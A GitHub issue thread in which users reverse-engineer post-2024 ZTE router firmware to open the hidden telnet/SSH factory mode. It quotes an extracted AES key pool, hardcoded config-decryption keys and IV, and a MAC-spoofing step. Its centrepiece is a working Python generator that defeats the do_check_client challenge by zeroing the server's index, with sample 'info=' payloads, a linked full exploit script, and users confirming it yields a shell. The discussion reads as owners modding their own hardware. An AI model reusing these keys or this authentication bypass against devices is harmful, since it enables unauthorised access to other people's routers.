zte_modem_tools
zte_modem_tools copied to clipboard
[Feature] Enabling Telnet on ZTE firmware with post-October 2024 builds
Hello,
New firmware from late 2024 (i.e F670L V9.0.11P1N52) begin to use new algorithm that return value re_rand=%d&%d& in step 2 instead newrand=%d so the telnet tool is fail to open.
Please check and add support for new firmware, thank you.
Same here with F6600P V9.0.10P25N1, return value looks like
re_rand=1&6653022&ÊVà re_rand=17&5367516&ÊVà re_rand=53&790239&ÊVà
I figured this out partially, thank you @longnt2007 for the httpd binary! This was my first time trying to reverse-engineer from binary so it took me a bit.
re_rand is composed of three parts, separated by &, where the first is a random number between 0-59, the second is a random number between 0-8388607, and the third is the device's mac address encoded as text.
The first element should be treated as the same as the old newrand.
There's also a new AES key pool, which I managed to extract using Binary Ninja's SENinja plugin, as it's generated at runtime and I have no access to a rooted router.
[
0x9c, 0x33, 0x75, 0xd1, 0x1c, 0x42, 0x45, 0x37, 0x18, 0x48,
0x91, 0x73, 0x17, 0x45, 0x79, 0x44, 0x43, 0xd7, 0xd5, 0x73,
0x33, 0x54, 0x76, 0xd2, 0xc5, 0xf1, 0x2c, 0x4f, 0x7a, 0xba,
0x61, 0xd9, 0x5c, 0x69, 0xdf, 0x8c, 0xd2, 0x1c, 0xde, 0x3b,
0x35, 0x2d, 0x2f, 0xe1, 0xde, 0x4c, 0x77, 0xf5, 0x1a, 0x65,
0xd1, 0xfe, 0x18, 0x43, 0x8e, 0xa7, 0x42, 0x08, 0x04, 0x78,
0xd5, 0xe4, 0xf3, 0x34, 0xa4, 0xd3, 0xf2, 0x36, 0x47, 0x6d,
0x86, 0x9d, 0x42, 0x65, 0x13, 0x42, 0xdc, 0x42, 0x99, 0x48,
0xdc, 0x67, 0x9f, 0x9e, 0xdc, 0x46, 0x37, 0x5f, 0x84, 0x9f,
0x6f, 0x76, 0xce, 0x79, 0x4f, 0x49,
]
After doing these changes, I get a telnet username and password back, but the port doesn't seem to be open.
Perhaps the connection needs to come from a specific IP (or to a specific IP), or it's just been disabled somewhere else. Hope someone else can figure this out as I am stumped.
After doing these changes, I get a telnet username and password back, but the port doesn't seem to be open.
Did you change your MAC address to 00:07:29:55:35:57 ?
Did you change your MAC address to 00:07:29:55:35:57 ?
I did. From looking at the code, it seems like the unfiltered MAC depends on the router's main NIC MAC, but that code is heavily VM obfuscated and I still haven't been able to get angr finding a solution.
@ovn-is maybe if you can take a look at an unpacked firmware you can find a way in
Also it could be possible to enable telnet via configuration file (config.bin) but we must be able to decrypt and encrypt it again first
I'll take a look at that, thanks! I also see port 22 (filtered) in nmap (but not 23) so maybe they switched to ssh? But there's still some filter.
Also it could be possible to enable telnet via configuration file (config.bin) but we must be able to decrypt and encrypt it again first
For decrypt my F671Y and F6601P config, both use same IV key: ZTE%FN$GponNJ025 and AES key is combine from serial + mac address, i.e serial is ZTEG12345678 and mac is 01:02:03:04:05:06 then AES key is 12345678060504030201. If you decrypted config by zte-config-utility, you will see that port 23 always closed by default, need to set PortControl row 3 PortEnable to 1 to enable port 23.
<Tbl name="PortControl" RowCount="16">
<Row No="3">
<DM name="ViewName" val="IGD.PortControl4" defval="IGD.PortControl4"/>
<DM name="PortValue" val="23" defval="23"/>
<DM name="IPv6PortValue" val="0" defval="0"/>
<DM name="PortEnable" val="0" defval="0"/>
<DM name="ServName" val="TELNET" defval="TELNET"/>
<DM name="Protocol" val="TCP" defval="TCP"/>
<DM name="ServIPMode" val="3" defval="3"/>
<DM name="PortLANEnable" val="1" defval="1"/>
</Row>
After doing these changes, I get a telnet username and password back, but the port doesn't seem to be open.
Perhaps the connection needs to come from a specific IP (or to a specific IP), or it's just been disabled somewhere else. Hope someone else can figure this out as I am stumped.
I have change AES key to your key and also get username and password
I've tried login but that username/password doesn't work (enable port 23 by upload config). But I can login by account from TelnetCfg
Here is my config and decrypted xml from it. If you need anything to debug in real device just tell me. config.zip
Congrats ! Glad you did it
I'm still struggling with my decoding my configuration file (payload type 5)
Is this the same of https://github.com/stich86/zteOnu ?
Can anyone help me with my F6600p decoding the config please. Here is the config, CSPD and dataprotocol files. Can get any file you might need thanks so much!
Can anyone help me with my F6600p decoding the config please. Here is the config, CSPD and dataprotocol files. Can get any file you might need thanks so much!
Your device is F6107A (AIS version of F6600p) so the key to decode config is
AISDefAESCBCKey=H6107AV10Key20102021
DefAESCBCIV=ZTE%FN$GponNJ025
Can anyone help me with my F6600p decoding the config please. Here is the config, CSPD and dataprotocol files. Can get any file you might need thanks so much! firmware_files.zip
Your device is F6107A (AIS version of F6600p) so the key to decode config is
AISDefAESCBCKey=H6107AV10Key20102021DefAESCBCIV=ZTE%FN$GponNJ025
Your awesome! Thanks!!
If it's not too big of an ask could you share how you found the key and the decryption command you used?
If it's not too big of an ask could you share how you found the key and the decryption command you used?
I just follow the guide here to get AES key and IV for decrypt hardcode file.
2b8 recoded magic: :7d8d7:83;6ee76:f6201bv9.3
294 decoded IV: d34fhh884;e674i73g;6i4ff8h:f5df6
It's lucky when my F6601p firmware still left some code of F6600p and I saw these keys for F6107A. hardcodefile.zip
After got keys, use zte-config-utility, edit file examples\auto.py, add these keys to KNOWN_KEYPAIRS then call python examples\auto.py config.bin config-decrypted.xml and done.
I'm on a F660 device with firmware 9.2 with no telnet access (thus unable to obtain config files?). Any ideas as to how I could go about gaining access
I don't think this should be closed, as far as I know the tool still can't get into factory mode on new firmwares.
I don't think this should be closed, as far as I know the tool still can't get into factory mode on new firmwares.
This tool is free and the author maybe not maintenance it anymore so I've closed it. AFAIK the new firmware already has a tool to open telnet but it's available on right (cn) forum and you need to pay a little fee to use it, or just waiting someone crack it again.
I have, I think, figured out the broad strokes of how to trigger it but I don't have access to any devices to test. Pseudo-code for do_check_client is approximately:
do_check_client: # int do_check_client(int* client_data, int client_data_word_len, u8* remote_mac_address, int calculated_idx, u8* local_mac_address)
block_0000:
[mem+0x28].4 = 0x0
[(mem+0x2c +.4 ((0x1 *.4 0x0) +.4 0x0))].1 = 0x0
[mem+0x22e].4 = 0x1
goto block_0044
block_0044: # refs: 0x003f, 0x0098
if ([mem+0x22e].4 >= 0x201) goto block_005a else goto block_0055
block_0055: # refs: 0x0050
goto block_005f
block_005a: # refs: 0x0050
goto block_00a2
block_005f: # refs: 0x0055
[(mem+0x2c +.4 ((0x1 *.4 [mem+0x22e].4) +.4 0x0))].1 = 0x0
[mem+0x22e].4 = ([mem+0x22e].4 +.4 0x1)
goto block_0044
block_00a2: # refs: 0x005a
[mem+0x234].4 = 0x1687
[mem+0x238].4 = 0x7561
[mem+0x240].4 = mem+0x248
[mem+0x250].4 = [&client_data].4
memcpy([mem+0x240].4, [mem+0x250].4, 0x4)
[mem+0x258].4 = [mem+0x248].4
[mem+0x25c].4 = [mem+0x234].4
[mem+0x260].4 = [mem+0x238].4
[mem+0x264].4 = candp([mem+0x258].4, [mem+0x25c].4, [mem+0x260].4)
[mem+0x248].4 = [mem+0x264].4
[mem+0x268].4 = mem+0x270
[mem+0x278].4 = ([&client_data].4 +.4 (0x1 *.4 0x4))
memcpy([mem+0x268].4, [mem+0x278].4, 4)
[mem+0x280].4 = [mem+0x270].4
[mem+0x284].4 = [mem+0x234].4
[mem+0x288].4 = [mem+0x238].4
[mem+0x28c].4 = candp([mem+0x280].4, [mem+0x284].4, [mem+0x288].4)
[mem+0x270].4 = [mem+0x28c].4
[mem+0x290].4 = (([mem+0x248].4 *.4 [&calculated_idx].4) +.4 [mem+0x270].4)
[mem+0x298].4 = mem+0x248
[mem+0x2a0].4 = ([&client_data].4 +.4 (0x1 *.4 (0x4 *.4 0x2)))
memcpy([mem+0x298].4, [mem+0x2a0].4, 4)
[mem+0x2a8].4 = [mem+0x248].4
[mem+0x2ac].4 = [mem+0x234].4
[mem+0x2b0].4 = [mem+0x238].4
[mem+0x2b4].4 = candp([mem+0x2a8].4, [mem+0x2ac].4, [mem+0x2b0].4)
[mem+0x248].4 = [mem+0x2b4].4
[mem+0x2b8].4 = mem+0x270
[mem+0x2c0].4 = ([&client_data].4 +.4 (0x1 *.4 (0x4 *.4 0x3)))
memcpy([mem+0x2b8].4, [mem+0x2c0].4, 4)
[mem+0x2c8].4 = [mem+0x270].4
[mem+0x2cc].4 = [mem+0x234].4
[mem+0x2d0].4 = [mem+0x238].4
[mem+0x2d4].4 = candp([mem+0x2c8].4, [mem+0x2cc].4, [mem+0x2d0].4)
[mem+0x270].4 = [mem+0x2d4].4
[mem+0x2d8].4 = (([mem+0x248].4 *.4 [&calculated_idx].4) +.4 [mem+0x270].4)
[&client_data].4 = ([&client_data].4 +.4 (0x1 *.4 (0x4 *.4 0x4)))
[&client_data_word_len].4 = ([&client_data_word_len].4 -.4 0x4)
[mem+0x28].4 = 0x0
goto block_02d0
block_02d0: # refs: 0x02cb, 0x0394
if ([mem+0x28].4 < 0x6) goto block_02eb else goto block_02e1
block_02e1: # refs: 0x02dc
goto block_02e6
block_02e6: # refs: 0x02e1
goto block_039e
block_02eb: # refs: 0x02dc
[mem+0x2e0].4 = mem+0x248
[mem+0x2e8].4 = ([&client_data].4 +.4 (0x1 *.4 (0x4 *.4 [mem+0x28].4)))
memcpy([mem+0x2e0].4, [mem+0x2e8].4, 4)
[mem+0x2f0].4 = [mem+0x248].4
[mem+0x2f4].4 = [mem+0x290].4
[mem+0x2f8].4 = [mem+0x2d8].4
[mem+0x300].4 = candp([mem+0x2f0].4, [mem+0x2f4].4, [mem+0x2f8].4)
[mem+0x2fc].4 = [mem+0x300].4
[(mem+0x2c +.4 ((0x1 *.4 [mem+0x28].4) +.4 0x0))].1 = [mem+0x2fc].4
[mem+0x28].4 = ([mem+0x28].4 +.4 0x1)
goto block_02d0
block_039e: # refs: 0x02e6
[mem+0x308].4 = (mem+0x2c +.4 ((0x1 *.4 0x0) +.4 0x0))
[mem+0x310].4 = [&local_mac_address].4
[mem+0x31c].4 = memcmp([mem+0x308].4, [mem+0x310].4, 6)
[mem+0x318].4 = [mem+0x31c].4
goto block_03e9
block_03e9: # refs: 0x03e4
if (0x0 != [mem+0x318].4) goto block_03ff else goto block_03fa
block_03fa: # refs: 0x03f5
goto block_0414
block_03ff: # refs: 0x03f5
[mem+0x320].4 = 0x0
goto block_040f
block_040f: # refs: 0x040a
goto block_05d4
block_0414: # refs: 0x03fa
[mem+0x28].4 = 0x6
goto block_0424
block_0424: # refs: 0x041f, 0x05ba
if ([mem+0x28].4 < [&client_data_word_len].4) goto block_0441 else goto block_0437
block_0437: # refs: 0x0432
goto block_043c
block_043c: # refs: 0x0437
goto block_05c4
block_0441: # refs: 0x0432
[mem+0x328].4 = mem+0x248
[mem+0x330].4 = ([&client_data].4 +.4 (0x1 *.4 (0x4 *.4 [mem+0x28].4)))
memcpy([mem+0x328].4, [mem+0x330].4, 4)
[mem+0x338].4 = [mem+0x248].4
[mem+0x33c].4 = [mem+0x290].4
[mem+0x340].4 = [mem+0x2d8].4
[mem+0x348].4 = candp([mem+0x338].4, [mem+0x33c].4, [mem+0x340].4)
[mem+0x344].4 = [mem+0x348].4
[(mem+0x2c +.4 ((0x1 *.4 [mem+0x28].4) +.4 0x0))].1 = [mem+0x344].4
goto block_04dd
block_04dd: # refs: 0x04d8
if (0x6 < [mem+0x28].4) goto block_04f3 else goto block_04ee
block_04ee: # refs: 0x04e9
goto block_05a8
block_04f3: # refs: 0x04e9
if (0x0 == ([mem+0x28].4 %.4 0x6)) goto block_050f else goto block_050a
block_050a: # refs: 0x0505
goto block_05a8
block_050f: # refs: 0x0505
[mem+0x350].4 = (((mem+0x2c +.4 ((0x1 *.4 0x0) +.4 0x0)) +.4 (0x1 *.4 [mem+0x28].4)) -.4 (0x1 *.4 0x6))
[mem+0x358].4 = [&remote_mac_address].4
[mem+0x364].4 = memcmp([mem+0x350].4, [mem+0x358].4, 6)
[mem+0x360].4 = [mem+0x364].4
goto block_057d
block_057d: # refs: 0x0578
if (0x0 == [mem+0x360].4) goto block_0593 else goto block_058e
block_058e: # refs: 0x0589
goto block_05a8
block_0593: # refs: 0x0589
[mem+0x320].4 = 0x1
goto block_05a3
block_05a3: # refs: 0x059e
goto block_05d4
block_05a8: # refs: 0x04ee, 0x050a, 0x058e
[mem+0x28].4 = ([mem+0x28].4 +.4 0x1)
goto block_0424
block_05c4: # refs: 0x043c
[mem+0x320].4 = 0x0
goto block_05d4
block_05d4: # refs: 0x040f, 0x05a3, 0x05cf
return [mem+0x320].4
candp appears to be nothing more than a lightly-obfuscated modular exponentiation routine.
From there, transforming do_check_client to what I believe is equivalent Python:
# should be a faithful implementation of what is implemented in the vm bytecode for
# do_check_client in the httpd binary.
def verify_do_check_client(client_data: list[int], remote_mac_address: bytes,
calculated_idx: int, local_mac_address: bytes) -> int:
processed_word0 = pow(client_data[0], 0x1687, 0x7561)
processed_word1 = pow(client_data[1], 0x1687, 0x7561)
processed_word2 = pow(client_data[2], 0x1687, 0x7561)
processed_word3 = pow(client_data[3], 0x1687, 0x7561)
derived_exponent = (processed_word0 * calculated_idx) + processed_word1
derived_modulus = (processed_word2 * calculated_idx) + processed_word3
#print(f"Derived exponent: {derived_exponent}, derived modulus: {derived_modulus}")
client_data = client_data[4:]
remaining_word_len = len(client_data)
work_buffer = [0] * len(client_data)
if remaining_word_len < 6:
print(f"Warning: Remaining client_data words are less than 6")
return 0
for i in range(6):
work_buffer[i] = pow(client_data[i], derived_exponent, derived_modulus) & 0xff
calculated_local_mac = bytes(work_buffer[:6])
if calculated_local_mac != local_mac_address:
print(f"local mismatch {calculated_local_mac} != {local_mac_address}")
return 0
for i in range(6, remaining_word_len):
work_buffer[i] = pow(client_data[i], derived_exponent, derived_modulus) & 0xff
if i >= 6 and (i + 1) % 6 == 0:
calculated_remote_mac = bytes(work_buffer[ i-5 : i+1 ])
if calculated_remote_mac != remote_mac_address:
print(f"local mismatch {calculated_remote_mac} != {remote_mac_address}")
continue
return 1
return 0
There seem to be a variety of opportunities here, namely that calculated_idx looks like it can be zeroed out based on input we can provide in the first 4 integers of the info= parameter. Tying this together...
#!/usr/bin/env python3
import itertools
# should be a faithful implementation of what is implemented in the vm bytecode for
# do_check_client in the httpd binary.
def verify_do_check_client(client_data: list[int], remote_mac_address: bytes,
calculated_idx: int, local_mac_address: bytes) -> int:
# as above
def int_alphabet_generator(alphabet: str, integer_length: int):
alphabet_bytes = alphabet.encode('utf-8')
for combination in itertools.product(alphabet_bytes, repeat=integer_length):
yield int.from_bytes(bytes(combination), byteorder='little')
def evaluate_alphabet(alphabet: str, exponent: int, modulus: int, value_map = lambda x: x):
"""
Determine if a proposed alphabet of payload bytes is still able to encode all values that
a payload with no restrictions could represent.
value_map can be used to to make the search faster by limiting the search space.
Returns a mapping of desired inputs and the inputs that produce them (we're just
going to brute force this because of the alphabet constraints)
"""
# we don't care about it being _actually_ complete, we just want it to not
# be worse than an unrestricted alphabet
unrestricted_possible_values = set()
for i in range(modulus):
unrestricted_possible_values.add(value_map(pow(i, exponent, modulus)))
possible_values = dict()
for num in int_alphabet_generator(alphabet, 4):
result = value_map(pow(num, exponent, modulus))
if result not in possible_values:
possible_values[result] = num
if len(possible_values) == len(unrestricted_possible_values):
# no point continuing, all possible values now represented
return possible_values
assert False, f"Not all possible values found within modulus {len(possible_values)} / {len(unrestricted_possible_values)}"
# some subset of chars it should be safe to use in the urlparam
alphabet = "lmaoztebcdfghijknpqrsuvwxy"
# used for the first 4 entries in client_data, before a new exponent and
# modulus are derived. figure out all representable values so we can use
# this when we craft the first 4 integers of payload which let us control
# the derived values used for the rest of the decoding
header_encoding_map = evaluate_alphabet(alphabet, 0x1687, 0x7561)
# since it turns out we have absolute control over the exponent and modulus,
# can just precalculate. we also only care about the lower byte of the encoded
# values, as do_check_client truncates the modular exponentation result when
# calculating mac address bytes. so once we have all possible lower bytes, we're
# done.
mac_encoding_map = evaluate_alphabet(alphabet, 0x1, 0x1687, lambda x: x & 0xff)
def create_payload_array(local_mac, remote_mac, _calculated_idx: int):
payload = []
# new exponent/modulus will be derived based on our input and this
# index which is selected randomly and given to us. we have to work
# with a exponent of the form:
#
# new_exponent = (pow(input1, 0x1687, 0x7561) * calculated_idx) + pow(input2, 0x1687, 0x7561)
# new_modulus = (pow(input3, 0x1687, 0x7561) * calculated_idx) + pow(input4, 0x1687, 0x7561)
#
# we're going to take advantage of the multiply, and pick input1 and input3 such that
# calculated_idx is multiplied by 0, making it irrelevant to payload generation. in other
# words, regardless of challenge value we're going to be able to encode mac addresses
# using an exponent of 1 and a modulus of 0x1687.
# exponent
payload.append(header_encoding_map[0]) # input1; cancels out calculated_idx
payload.append(header_encoding_map[1]) # input2; selected exponent
# modulus
payload.append(header_encoding_map[0]) # input3; cancels out calculated_idx
payload.append(header_encoding_map[0x1687]) # input4; selected modulus
# since we've now gotten control of the exponent and modulus, we just staple the
# local and remote mac addresses to the payload. the second copy of the remote mac
# is probably unnecessary, but it also shouldn't hurt and reduces risk of me not
# being able to test on a device myself.
payload.extend(map(mac_encoding_map.__getitem__, local_mac + remote_mac + remote_mac))
return payload
# ensure resiliency over possible values, ostensibly we should have to
# derive what calculated_idx (iRsaIndex in the binary) from some info they
# back to us earlier in the handshake process.
#
# edit: lol nevermind, they'll multiply the challenge by a value we control
# and can make 0 so uh, off to irrelevancy this bit goes.
#for calculated_idx in range(1, 0x2000):
def parse_mac(input_str: str) -> bytes:
raw_bytes = bytes.fromhex(input_str.replace(":", ""))
assert len(raw_bytes) == 6, f"invalid mac: {input_str}"
return raw_bytes
if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("--calculated_idx", type=int, default=1234)
parser.add_argument("local_mac", type=parse_mac)
parser.add_argument("remote_mac", type=parse_mac)
a = parser.parse_args()
payload = create_payload_array(a.local_mac, a.remote_mac, a.calculated_idx)
if not verify_do_check_client(payload, a.remote_mac, 1234, a.local_mac):
print("we are sad :(")
print(f"calculated payload for local mac {a.local_mac.hex(':')} and remote mac {a.remote_mac.hex(':')}")
print(f"info={len(payload)}|{b''.join(map(lambda x: x.to_bytes(4, 'little'), payload)).decode('utf-8')}")
Example:
calculated payload for local mac 11:22:33:44:55:66 and remote mac 54:32:21:12:34:45
info=22|apjdapalapjdafpemlbolledllsfmlelllfdllzsllqfmlbllltvllqallltllzkllqfmlbllltvllqallltllzk
I think you still need to go through the rest of the state machine as normal, including sending up the value you have to pick when visiting SendSq.gch (in order to get g_iRsaIndex populated -- this is what gets passed in to do_check_client and even though this generator cancels it out I bet it does other things that matter.
@rssor I've tried to add info as you suggest local mac is device mac, remote mac is PC mac.
calculated payload for idx 4321 local mac e8:43:68:1b:f7:e8 and remote mac 00:07:29:55:35:57
info=22|apjdapalapjdafpellanllelllbrllbnmlehllanlltnlluglllullfdllarllyflltnlluglllullfdllarllyf
After logged to device, I've set log to debug
sendcmd HTTPD -l 8
then redir to telnet window
redir printf
Here is log from device when calling open telnet with new AES key and info
It looks like you're sending the info in the wrong step, this parameter goes in the SendInfo request (sorry, not clear on my part, I just mentioned SendSq because I saw that that request set up something relevant later, not because that's where you send the info) -- I got confirmation that the script was able to work to trigger the backdoor this morning.
It looks like you're sending the info in the wrong step, this parameter goes in the SendInfo request (sorry, not clear on my part, I just mentioned SendSq because I saw that that request set up something relevant later, not because that's where you send the info) -- I got confirmation that the script was able to work to trigger the backdoor this morning.
After move info value from SendSq to SendInfo, it's now working. I can confirm the telnet account now changed from admin (production mode) to new random user value (dev mode).
Here's my code for doing the whole thing: https://gist.github.com/ovn-is/d0331f781f5468dfaf107765fe095d85 Thank you so much for @rssor for figuring this out.
I can confirm "telnet" (it's actually SSH) gets a random user and password each time.
WONDERFUL, amazing work rssor
I can confirm it works too
2025-05-05T18:18:29Z telnet: [Telnet Start] Telnet Service Start Success!
2025-05-05T18:19:06Z telnet: [Telnet Login],IP<192.168.1.4>,Mode<2>.
2025-05-05T18:19:06Z telnet: check user ok, will exec shell...
Congrats!! Looks like you guys are cooking
A bit of help
======= STEP 4 =======
--> POST /webFacEntry "CheckLoginAuth.gch?version50&user=user&pass=user"
<-- 401 38 bytes (encrypted)
Traceback (most recent call last):
File "C:\Users\Quid\Desktop\f660\pwn.py", line 262, in
Edit: never mind; changed the username & pass in the script and I telnet is open & I got some random credentials for it. Woo-hoo!
Can I ask what is going on here?
root@jake:/home/jake/AIS_FIBER/firmware# python pwn.py
Traceback (most recent call last):
File "/home/jake/AIS_FIBER/firmware/pwn.py", line 8, in
I'm not sure, but it looks like it can't import the function from the package rsspwn (https://github.com/douniwan5788/zte_modem_tools/issues/20#issuecomment-2849666205) which you should put in the same directory & try again
ok thanks now getting a different newrand value everytime i run the script?
======= RESET =======
--> POST /webFac "SendSq.gch"
======= STEP 1 =======
--> POST /webFac "RequestFactoryMode.gch"
======= STEP 2 =======
--> POST "SendSq.gch?rand=0"
<-- 200 10 bytes (newrand=50)
Traceback (most recent call last):
File "/home/jake/AIS_FIBER/firmware/zte-config-utility/pwn.py", line 191, in <module>
main()
File "/home/jake/AIS_FIBER/firmware/zte-config-utility/pwn.py", line 85, in main
raise Exception(f"expected re_rand, got {res.text}")
Exception: expected re_rand, got newrand=50
jake@jake:~/AIS_FIBER/firmware/zte-config-utility$
I did not face this issue, but it's posting data to your device & storing the result (in your case the result is "newrand=50", which it shouldn't be). Must be something wrong in the way you're supplying the arguments for the post. Make sure there isn't something out of sorts in these lines in pwn.py lines 10, 13, 160, 162, 164. especially 10 & 12 (your device's ip & computer's mac)